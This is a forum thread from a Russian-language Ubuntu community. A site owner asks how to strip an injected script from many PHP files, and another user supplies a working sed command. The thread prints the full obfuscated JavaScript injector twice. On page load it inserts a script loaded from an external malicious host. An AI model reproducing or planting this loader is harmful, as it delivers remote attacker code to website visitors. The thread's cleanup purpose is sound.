Форум русскоязычного сообщества Ubuntu


Получить помощь и пообщаться с другими пользователями Ubuntu можно
на irc канале #ubuntu-ru в сети Freenode
и в Jabber конференции ubuntu@conference.jabber.ru

Автор Тема: Массовая замена строки в файлах  (Прочитано 2566 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн eoleg

  • Автор темы
  • Новичок
  • *
  • Сообщений: 2
    • Просмотр профиля
Массовая замена строки в файлах
« : 05 Апрель 2010, 16:28:02 »
Как удалить строку в нескольких файлах?

во все .php прописался скрипт

<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

мне его нужно удалить
но файлов много и руками это очень трудоемко
как с помощью встроенных средств в linux автоматически удалить его?
find
sed
awk
replace
может еще какие команды есть?
сразу скажу что доку сейчас читаю поэтому за совет прочитать заранее говорю спасибо.
find . -name *.php -exec sed -i 's/oldtext/newtext/' {} \;
не получилось
чтото нужно еще прописать

кстати а что делает этот скрипт интересно  :)

Оффлайн wl

  • Старожил
  • *
  • Сообщений: 1393
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #1 : 05 Апрель 2010, 16:41:50 »
А почему с sed не получилось?
Вроде, все корректно.
Может быть, регэксп не тот? Стоит отладить регэксп на примере одного файла.

Могу порекомендовать kodos - это инструмент для визуальной отладки регулярных выражений. Он, правда, для питона, но принципы везде одинаковы.
На свете феньки есть такие, брат Горацио, которых лохи просто не секут. (Шекспир, "Гамлет", вольный перевод)

Оффлайн eoleg

  • Автор темы
  • Новичок
  • *
  • Сообщений: 2
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #2 : 05 Апрель 2010, 16:49:22 »
с sed не получается как мне кажется из за того что этот скрипт нужно представить как единое выражение или слово чтоли
потому что символы внутри скрипта мешают ему обработать правильно строку
я еще не разобрался с форматом sed и потому если знаете подскажите как удалить строку если она начинается например с <script>var A;if(A!='q' &&

Пользователь решил продолжить мысль 05 Апрель 2010, 18:01:01:
Никто не подскажет?
« Последнее редактирование: 05 Апрель 2010, 18:01:01 от eoleg »

Оффлайн wl

  • Старожил
  • *
  • Сообщений: 1393
    • Просмотр профиля
Re: Массовая замена строки в файлах
« Ответ #3 : 05 Апрель 2010, 18:32:38 »
Во, получилось!

Во-первых, еще надо добавить ключ  -r
Во-вторых, вот:
$ sed -r 's/<script>var A;if\(A!=.*?<\/script>//' test.phpПроверка:
$ cat test.php
<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

asdf
asd

asdasd
<script>
asdf
asdf
123412342
</script>

$ sed -r 's/<script>var A;if\(A!=.*?<\/script>//' test.php

<!--21bbe805d2c1299b84645aa67bdf7beb-->

asdf
asd

asdasd
<script>
asdf
asdf
123412342
</script>


Я поставил \ перед круглой скобкой в if: if(A!= стало if\(A!=и перед / в </script> - стало <\/script>

Основной источник информации: http://www.gnu.org/software/sed/manual/sed.html
« Последнее редактирование: 05 Апрель 2010, 18:34:22 от wl »
На свете феньки есть такие, брат Горацио, которых лохи просто не секут. (Шекспир, "Гамлет", вольный перевод)

 

Страница сгенерирована за 0.06 секунд. Запросов: 25.